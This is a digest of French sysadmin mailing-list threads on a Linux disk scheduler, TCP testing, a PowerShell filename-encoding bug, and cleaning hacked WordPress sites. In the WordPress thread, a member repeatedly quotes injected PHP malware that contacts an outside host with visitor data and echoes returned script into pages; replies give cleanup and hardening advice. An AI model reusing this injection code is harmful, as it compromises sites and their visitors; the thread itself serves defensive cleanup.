[FRsAG] Linux >= 3.18 & scheduler disque
Bonjour les gens, j'ai un petit soucis sur quelques Debian Jessie qui tournent sur un noyau 3.18 vanilla (compilé par moi même donc) : je ne vois poins de scheduler ! # cat /sys/block/sda/queue/scheduler none Alors que : # grep IOSCHED /boot/config-`uname --kernel-release` CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_DEADLINE=y CONFIG_IOSCHED_CFQ=y CONFIG_CFQ_GROUP_IOSCHED=y CONFIG_DEFAULT_IOSCHED="cfq" Du coup je me demande si ce n'est pas à cause du multi-queue qui change la donne... mais je n'ai pas ce problème sur les VM en Xen PV. Bref, une idée de ce qui a changé ? merci d'avance ! Olivier ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Linux >= 3.18 & scheduler disque
Hello, elevator=deadline sur la ligne de commande grub. BTW the sched cfq c'est plutôt le seul a ne pas utiliser en production... My 0,02€ ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Linux >= 3.18 & scheduler disque
Bah... le problème là c'est surtout qu'aucun scheduler ne semble actif. Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a écrit : > Hello, > > elevator=deadline sur la ligne de commande grub. > > BTW the sched cfq c'est plutôt le seul a ne pas utiliser en production... > > My 0,02€ > > ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Linux >= 3.18 & scheduler disque
Bonjour, que donnes cette commande ? $ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config Le 3 juin 2015 09:35, Olivier Bonvalet a écrit : > Bah... le problème là c'est surtout qu'aucun scheduler ne semble actif. > > > Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a écrit : > > Hello, > > > > elevator=deadline sur la ligne de commande grub. > > > > BTW the sched cfq c'est plutôt le seul a ne pas utiliser en production... > > > > My 0,02€ > > > > > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ > -- Greg ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Linux >= 3.18 & scheduler disque
Hello, ~$ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config-3.18-dae-intel CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_DEADLINE=y CONFIG_IOSCHED_CFQ=y CONFIG_CFQ_GROUP_IOSCHED=y # CONFIG_DEFAULT_DEADLINE is not set CONFIG_DEFAULT_CFQ=y # CONFIG_DEFAULT_NOOP is not set CONFIG_DEFAULT_IOSCHED="cfq" CONFIG_PADATA=y CONFIG_ASN1=y CONFIG_INLINE_SPIN_UNLOCK_IRQ=y CONFIG_INLINE_READ_UNLOCK=y CONFIG_INLINE_READ_UNLOCK_IRQ=y CONFIG_INLINE_WRITE_UNLOCK=y CONFIG_INLINE_WRITE_UNLOCK_IRQ=y CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_MUTEX_SPIN_ON_OWNER=y CONFIG_RWSEM_SPIN_ON_OWNER=y CONFIG_ARCH_USE_QUEUE_RWLOCK=y CONFIG_QUEUE_RWLOCK=y CONFIG_FREEZER=y Le mercredi 03 juin 2015 à 09:39 +0200, Greg a écrit : > Bonjour, > > > que donnes cette commande ? > > > $ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config > > > > > > Le 3 juin 2015 09:35, Olivier Bonvalet a > écrit : > Bah... le problème là c'est surtout qu'aucun scheduler ne > semble actif. > > > Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a > écrit : > > Hello, > > > > elevator=deadline sur la ligne de commande grub. > > > > BTW the sched cfq c'est plutôt le seul a ne pas utiliser en > production... > > > > My 0,02€ > > > > > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ > > > > > > -- > Greg > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Détecteurs de malwares
Hello, Je me permet de relancer la discutions car j'ai presque le même problème avec un client. Sauf que le code change sur presque tout les fichiers. Voici un exemple de code : http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_67188f = @file_get_contents($wp_f0967188);}^M elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } #458ba2# ?> Ou encore J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe pour arrive a faire un truc propre. find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^//g' Le seul point commun est un début J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner Mais cela ne semble mal fonctionner avec mon problème. Auriez vous une idée ? Merci Pierre Le 20/05/2015 16:09, Julien Escario a écrit : > Le 20/05/2015 07:14, Jonathan Leroy a écrit : >> J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés hier. >> >> J'en ai donc profité pour tester tous vos outils sur un des sites. > >> Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux >> fichiers de plus que Sucuri (mais en laisse passer un autre). >> J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :) > > Nice job ! > > Merci du retour. > Julien > > > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ > ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Détecteurs de malwares
Fait déjà commencer par désactiver certaines fonctionnalités dangereuses dans php (disabled_functions dans php.ini) Ensuite bloquer les requêtes http sortantes du serveur avec iptables. > Le 3 juin 2015 à 11:23, Pierre a écrit : > > Hello, > > Je me permet de relancer la discutions car j'ai presque le même problème > avec un client. > > Sauf que le code change sur presque tout les fichiers. > > Voici un exemple de code : > > #568ba2# > error_reporting(0); @ini_set('display_errors',0); $wp_f67188 = > @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', > $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M > $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M > if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = > curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt > ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M > $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif > (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) > {$wp_67188f = @file_get_contents($wp_f0967188);}^M > elseif (function_exists('fopen') && > function_exists('stream_get_contents')) > {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M > if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } > #458ba2# > ?> > Ou encore > > #5a9312# > > > if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = > curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt > ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M > $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif > (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) > {$wp_67188f = @file_get_contents($wp_f0967188);}^M > elseif (function_exists('fopen') && > function_exists('stream_get_contents')) > {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M > if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } > #/5a9312# > ?> > > > J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe > pour arrive a faire un truc propre. > > find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^ *?>//g' > > Le seul point commun est un début fin un autre # saute de ligne ?> > > J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner > > Mais cela ne semble mal fonctionner avec mon problème. > > Auriez vous une idée ? > > Merci > > Pierre > > > Le 20/05/2015 16:09, Julien Escario a écrit : >> Le 20/05/2015 07:14, Jonathan Leroy a écrit : >>> J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés hier. >>> >>> J'en ai donc profité pour tester tous vos outils sur un des sites. >> >>> Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux >>> fichiers de plus que Sucuri (mais en laisse passer un autre). >>> J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :) >> >> Nice job ! >> >> Merci du retour. >> Julien >> >> >> >> ___ >> Liste de diffusion du FRsAG >> http://www.frsag.org/ > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Détecteurs de malwares
Yes c’était fait, En soit le hacker ne pouvait pas vraiment utiliser les scripts. Mais il faut nettoyer. Après une longe matinée de recherche j'ai trouvé ce script : https://www.ask-sheldon.com/find-and-replace-malware-code-blocks-in-php-files-via-shell/ Mais j'ai un problème d'encodage UTF8 et j'avoue que je ne m'y connais pas grand chose en python Voici l'erreur que cela fait quand il trouvé un fichier infecté : HIT Traceback (most recent call last): File "./remove.py", line 38, in replaceStringInFile(os.path.join(directory, filename)) File "./remove.py", line 19, in replaceStringInFile fContent = unicode(inputFile.read(), "utf-8") UnicodeDecodeError: 'utf8' codec can't decode byte 0xe9 in position 255: invalid continuation byte Merci Pierre En soit le pi Le 03/06/2015 12:02, Guillaume Tournat a écrit : > Fait déjà commencer par désactiver certaines fonctionnalités dangereuses > dans php (disabled_functions dans php.ini) > > Ensuite bloquer les requêtes http sortantes du serveur avec iptables. > > > >> Le 3 juin 2015 à 11:23, Pierre a écrit : >> >> Hello, >> >> Je me permet de relancer la discutions car j'ai presque le même problème >> avec un client. >> >> Sauf que le code change sur presque tout les fichiers. >> >> Voici un exemple de code : >> >> > #568ba2# >> error_reporting(0); @ini_set('display_errors',0); $wp_f67188 = >> @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', >> $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M >> $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M >> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = >> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt >> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M >> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif >> (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) >> {$wp_67188f = @file_get_contents($wp_f0967188);}^M >> elseif (function_exists('fopen') && >> function_exists('stream_get_contents')) >> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M >> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } >> #458ba2# >> ?> >> Ou encore >> >> > #5a9312# >> >> >> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = >> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt >> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M >> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif >> (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) >> {$wp_67188f = @file_get_contents($wp_f0967188);}^M >> elseif (function_exists('fopen') && >> function_exists('stream_get_contents')) >> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M >> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } >> #/5a9312# >> ?> >> >> >> J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe >> pour arrive a faire un truc propre. >> >> find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^> *?>//g' >> >> Le seul point commun est un début > fin un autre # saute de ligne ?> >> >> J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner >> >> Mais cela ne semble mal fonctionner avec mon problème. >> >> Auriez vous une idée ? >> >> Merci >> >> Pierre >> >> >> Le 20/05/2015 16:09, Julien Escario a écrit : >>> Le 20/05/2015 07:14, Jonathan Leroy a écrit : J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés hier. J'en ai donc profité pour tester tous vos outils sur un des sites. >>> Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux fichiers de plus que Sucuri (mais en laisse passer un autre). J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :) >>> >>> Nice job ! >>> >>> Merci du retour. >>> Julien >>> >>> >>> >>> ___ >>> Liste de diffusion du FRsAG >>> http://www.frsag.org/ >> >> ___ >> Liste de diffusion du FRsAG >> http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Détecteurs de malwares
UTF8 -> latin_1 ca fonctionne mieux. Le 03/06/2015 12:40, Pierre a écrit : > Yes c’était fait, > En soit le hacker ne pouvait pas vraiment utiliser les scripts. > > Mais il faut nettoyer. > > Après une longe matinée de recherche j'ai trouvé ce script : > > https://www.ask-sheldon.com/find-and-replace-malware-code-blocks-in-php-files-via-shell/ > > Mais j'ai un problème d'encodage UTF8 et j'avoue que je ne m'y connais > pas grand chose en python > > Voici l'erreur que cela fait quand il trouvé un fichier infecté : > > HIT > Traceback (most recent call last): > File "./remove.py", line 38, in > replaceStringInFile(os.path.join(directory, filename)) > File "./remove.py", line 19, in replaceStringInFile > fContent = unicode(inputFile.read(), "utf-8") > UnicodeDecodeError: 'utf8' codec can't decode byte 0xe9 in position 255: > invalid continuation byte > > > Merci > > Pierre > > > En soit le pi > Le 03/06/2015 12:02, Guillaume Tournat a écrit : >> Fait déjà commencer par désactiver certaines fonctionnalités dangereuses >> dans php (disabled_functions dans php.ini) >> >> Ensuite bloquer les requêtes http sortantes du serveur avec iptables. >> >> >> >>> Le 3 juin 2015 à 11:23, Pierre a écrit : >>> >>> Hello, >>> >>> Je me permet de relancer la discutions car j'ai presque le même problème >>> avec un client. >>> >>> Sauf que le code change sur presque tout les fichiers. >>> >>> Voici un exemple de code : >>> >>> >> #568ba2# >>> error_reporting(0); @ini_set('display_errors',0); $wp_f67188 = >>> @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', >>> $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M >>> $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M >>> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = >>> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt >>> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M >>> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif >>> (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) >>> {$wp_67188f = @file_get_contents($wp_f0967188);}^M >>> elseif (function_exists('fopen') && >>> function_exists('stream_get_contents')) >>> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M >>> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } >>> #458ba2# >>> ?> >>> Ou encore >>> >>> >> #5a9312# >>> >>> >>> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = >>> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt >>> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M >>> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif >>> (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) >>> {$wp_67188f = @file_get_contents($wp_f0967188);}^M >>> elseif (function_exists('fopen') && >>> function_exists('stream_get_contents')) >>> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M >>> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } >>> #/5a9312# >>> ?> >>> >>> >>> J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe >>> pour arrive a faire un truc propre. >>> >>> find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^>> *?>//g' >>> >>> Le seul point commun est un début >> fin un autre # saute de ligne ?> >>> >>> J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner >>> >>> Mais cela ne semble mal fonctionner avec mon problème. >>> >>> Auriez vous une idée ? >>> >>> Merci >>> >>> Pierre >>> >>> >>> Le 20/05/2015 16:09, Julien Escario a écrit : Le 20/05/2015 07:14, Jonathan Leroy a écrit : > J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés > hier. > > J'en ai donc profité pour tester tous vos outils sur un des sites. > Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux > fichiers de plus que Sucuri (mais en laisse passer un autre). > J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :) Nice job ! Merci du retour. Julien ___ Liste de diffusion du FRsAG http://www.frsag.org/ >>> >>> ___ >>> Liste de diffusion du FRsAG >>> http://www.frsag.org/ > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ > ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Tripatouillages des sessions TCP
On Tue, Jun 02, 2015 at 02:42:09PM +0200, Artur wrote: > Salut, > > Je voudrais jouer un peu avec les sessions TCP pour vérifier les > réactions d'une applications Web aux perturbations réseau entre le > client et le serveur. > Idéalement, je voudrais pouvoir lister les sessions TCP ouvertes, les > suspendre, les interrompre, tout cela de façon sélective. > A votre avis, quelques commandes ipfilter pourraient suffire, ou > y'a-t-il des petits outils opensource sympas qui permettraient de faire > ça sous Debian ? > Je précise que je voudrais éviter de mettre en place des ponts filtrant > transparents ou d'autres équipements intermédiaires entre le serveur et > le client pour faire ça. Dummynet est pas mal, il te permet, en utilisant les capacité de matching de ton firewall, d'ajouter une latence, ou une bande passante maximum. http://info.iet.unipi.it/~luigi/dummynet/ Sur FreeBSD, où ça a été initialement développé, c'est très bien intégré. Sur Linux je ne sais pas comment c'est intégré. https://www.freebsd.org/cgi/man.cgi?query=ipfw&sektion=8&apropos=0&manpath=FreeBSD+10.1-RELEASE#end -- Jeremie Le Hen Scientists say the world is made up of Protons, Neutrons and Electrons. They forgot to mention Morons. ___ Liste de diffusion du FRsAG http://www.frsag.org/
[FRsAG] problème avec diu powershell
Bonjour, je reviens vers vous pour un problème simple mais qui commence à peser lourd j'ai un répertoire qui contient beaucoup de document word (une centaine). je veux ajouter une ligne au début de chaque document qui contient la mention document restreint. là j'attaque la tâche avec du powershell tout marche bien, tout est nickel, la ligne s'ajoute et le document est bien modifié. je passe en production et c'est la catastrophe. tout les fichiers qui contiennent dans leur titre un accent ou un caractère spéciale sont catégoriquement rejeté et je ne peux pas les ouvrir. mon script est $file1 = "D:/matricule/DéPLOIMENT_V1.2.docx" #$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx" Try #Open Microsoft Word and add text defined in $key then save { [ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type] $word = New-Object -ComObject Word.Application $word.visible = $false $doc = $word.Documents.Add($file1) $selection = $word.Selection $selection.typeText($key) $doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument) } #Catch #If error occurs send email #{ #Send-MailMessage -from $smtpFrom -subject $messageSubject -body $messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25 #} Finally #Close Microsoft Word { $word.quit() $word = $null } avec un fichier deploiement_server.docx ça marche pour le même fichier avec le nom déploiement_server.docx ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur suivante Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier introuvable. » Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère : 27 + $doc = $word.Documents.Add ($file1) + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ComMethodTargetInvocation est ce que vous avez eu ce genre de problème et comment l'avez vous résolus. si vous avez une autre approche je suis très intéressé de l'entendre Tarik CHICHANE ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] problème avec diu powershell
Quel est l'encodage utilisé pour écrire ton scritp ? Le 3 juin 2015 17:15, tarik chichane a écrit : > Bonjour, > > > je reviens vers vous pour un problème simple mais qui commence à peser > lourd > > j'ai un répertoire qui contient beaucoup de document word (une centaine). > > je veux ajouter une ligne au début de chaque document qui contient la > mention document restreint. > > là j'attaque la tâche avec du powershell > > tout marche bien, tout est nickel, la ligne s'ajoute et le document est > bien modifié. > > je passe en production et c'est la catastrophe. > > tout les fichiers qui contiennent dans leur titre un accent ou un > caractère spéciale > > sont catégoriquement rejeté et je ne peux pas les ouvrir. > > > mon script est > > $file1 = "D:/matricule/DéPLOIMENT_V1.2.docx" > #$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx" > Try > > #Open Microsoft Word and add text defined in $key then save > > { > > [ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type] > > $word = New-Object -ComObject Word.Application > > $word.visible = $false > > $doc = $word.Documents.Add($file1) > > $selection = $word.Selection > > $selection.typeText($key) > > $doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument) > > } > > #Catch > > #If error occurs send email > > #{ > > #Send-MailMessage -from $smtpFrom -subject $messageSubject -body > $messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25 > > #} > > Finally > > #Close Microsoft Word > > { > > $word.quit() > > $word = $null > } > > avec un fichier deploiement_server.docx ça marche > > pour le même fichier avec le nom déploiement_server.docx > > ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur > suivante > > Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier > introuvable. » > Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère : > 27 > + $doc = $word.Documents.Add ($file1) > + CategoryInfo : NotSpecified: (:) [], > MethodInvocationException > + FullyQualifiedErrorId : ComMethodTargetInvocation > > > est ce que vous avez eu ce genre de problème et comment l'avez vous > résolus. > > si vous avez une autre approche je suis très intéressé de l'entendre > > > Tarik CHICHANE > > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ > > ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] problème avec diu powershell
Hum, fonctionne "out of the box" chez moi avec un fichier test.doc et tést.doc Le 3 juin 2015 19:18, Benjamin AVET a écrit : > Quel est l'encodage utilisé pour écrire ton scritp ? > > Le 3 juin 2015 17:15, tarik chichane a > écrit : > >> Bonjour, >> >> >> je reviens vers vous pour un problème simple mais qui commence à peser >> lourd >> >> j'ai un répertoire qui contient beaucoup de document word (une centaine). >> >> je veux ajouter une ligne au début de chaque document qui contient la >> mention document restreint. >> >> là j'attaque la tâche avec du powershell >> >> tout marche bien, tout est nickel, la ligne s'ajoute et le document est >> bien modifié. >> >> je passe en production et c'est la catastrophe. >> >> tout les fichiers qui contiennent dans leur titre un accent ou un >> caractère spéciale >> >> sont catégoriquement rejeté et je ne peux pas les ouvrir. >> >> >> mon script est >> >> $file1 = "D:/matricule/DéPLOIMENT_V1.2.docx" >> #$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx" >> Try >> >> #Open Microsoft Word and add text defined in $key then save >> >> { >> >> [ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type] >> >> $word = New-Object -ComObject Word.Application >> >> $word.visible = $false >> >> $doc = $word.Documents.Add($file1) >> >> $selection = $word.Selection >> >> $selection.typeText($key) >> >> $doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument) >> >> } >> >> #Catch >> >> #If error occurs send email >> >> #{ >> >> #Send-MailMessage -from $smtpFrom -subject $messageSubject -body >> $messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25 >> >> #} >> >> Finally >> >> #Close Microsoft Word >> >> { >> >> $word.quit() >> >> $word = $null >> } >> >> avec un fichier deploiement_server.docx ça marche >> >> pour le même fichier avec le nom déploiement_server.docx >> >> ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur >> suivante >> >> Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier >> introuvable. » >> Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère : >> 27 >> + $doc = $word.Documents.Add ($file1) >> + CategoryInfo : NotSpecified: (:) [], >> MethodInvocationException >> + FullyQualifiedErrorId : ComMethodTargetInvocation >> >> >> est ce que vous avez eu ce genre de problème et comment l'avez vous >> résolus. >> >> si vous avez une autre approche je suis très intéressé de l'entendre >> >> >> Tarik CHICHANE >> >> >> ___ >> Liste de diffusion du FRsAG >> http://www.frsag.org/ >> >> > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ > > ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] problème avec diu powershell
Bonsoir, En forcant le passage en nom court 8.3 ? > Le 3 juin 2015 à 19:31, Lucas a écrit : > > Hum, fonctionne "out of the box" chez moi avec un fichier test.doc et tést.doc > > Le 3 juin 2015 19:18, Benjamin AVET a écrit : >> Quel est l'encodage utilisé pour écrire ton scritp ? >> >> Le 3 juin 2015 17:15, tarik chichane a écrit : >>> Bonjour, >>> >>> >>> je reviens vers vous pour un problème simple mais qui commence à peser lourd >>> >>> j'ai un répertoire qui contient beaucoup de document word (une centaine). >>> >>> je veux ajouter une ligne au début de chaque document qui contient la >>> mention document restreint. >>> >>> là j'attaque la tâche avec du powershell >>> >>> tout marche bien, tout est nickel, la ligne s'ajoute et le document est >>> bien modifié. >>> >>> je passe en production et c'est la catastrophe. >>> >>> tout les fichiers qui contiennent dans leur titre un accent ou un caractère >>> spéciale >>> >>> sont catégoriquement rejeté et je ne peux pas les ouvrir. >>> >>> >>> mon script est >>> >>> $file1 = "D:/matricule/DéPLOIMENT_V1.2.docx" >>> #$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx" >>> Try >>> >>> #Open Microsoft Word and add text defined in $key then save >>> >>> { >>> >>> [ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type] >>> >>> $word = New-Object -ComObject Word.Application >>> >>> $word.visible = $false >>> >>> $doc = $word.Documents.Add($file1) >>> >>> $selection = $word.Selection >>> >>> $selection.typeText($key) >>> >>> $doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument) >>> >>> } >>> >>> #Catch >>> >>> #If error occurs send email >>> >>> #{ >>> >>> #Send-MailMessage -from $smtpFrom -subject $messageSubject -body >>> $messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25 >>> >>> #} >>> >>> Finally >>> >>> #Close Microsoft Word >>> >>> { >>> >>> $word.quit() >>> >>> $word = $null >>> } >>> >>> avec un fichier deploiement_server.docx ça marche >>> >>> pour le même fichier avec le nom déploiement_server.docx >>> >>> ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur >>> suivante >>> >>> Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier >>> introuvable. » >>> Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère : 27 >>> + $doc = $word.Documents.Add ($file1) >>> + CategoryInfo : NotSpecified: (:) [], >>> MethodInvocationException >>> + FullyQualifiedErrorId : ComMethodTargetInvocation >>> >>> >>> est ce que vous avez eu ce genre de problème et comment l'avez vous résolus. >>> >>> si vous avez une autre approche je suis très intéressé de l'entendre >>> >>> >>> Tarik CHICHANE >>> >>> >>> ___ >>> Liste de diffusion du FRsAG >>> http://www.frsag.org/ >> >> >> ___ >> Liste de diffusion du FRsAG >> http://www.frsag.org/ > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] problème avec diu powershell
Bonsoir, Il faut initialisent correctement les variables. Exemple: $variable = get-content -encoding utf8 Cdlt, Le mer 3 juin 2015 19:36, Erwan Quimbert a écrit : Bonsoir, En forcant le passage en nom court 8.3 ? Le 3 juin 2015 à 19:31, Lucas a écrit : Hum, fonctionne "out of the box" chez moi avec un fichier test.doc et tést.doc Le 3 juin 2015 19:18, Benjamin AVET a écrit : Quel est l'encodage utilisé pour écrire ton scritp ? Le 3 juin 2015 17:15, tarik chichane a écrit : Bonjour, je reviens vers vous pour un problème simple mais qui commence à peser lourd j'ai un répertoire qui contient beaucoup de document word (une centaine). je veux ajouter une ligne au début de chaque document qui contient la mention document restreint. là j'attaque la tâche avec du powershell tout marche bien, tout est nickel, la ligne s'ajoute et le document est bien modifié. je passe en production et c'est la catastrophe. tout les fichiers qui contiennent dans leur titre un accent ou un caractère spéciale sont catégoriquement rejeté et je ne peux pas les ouvrir. mon script est $file1 = "D:/matricule/DéPLOIMENT_V1.2.docx" #$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx" Try #Open Microsoft Word and add text defined in $key then save { [ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type] $word = New-Object -ComObject Word.Application $word.visible = $false $doc = $word.Documents.Add($file1) $selection = $word.Selection $selection.typeText($key) $doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument) } #Catch #If error occurs send email #{ #Send-MailMessage -from $smtpFrom -subject $messageSubject -body $messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25 #} Finally #Close Microsoft Word { $word.quit() $word = 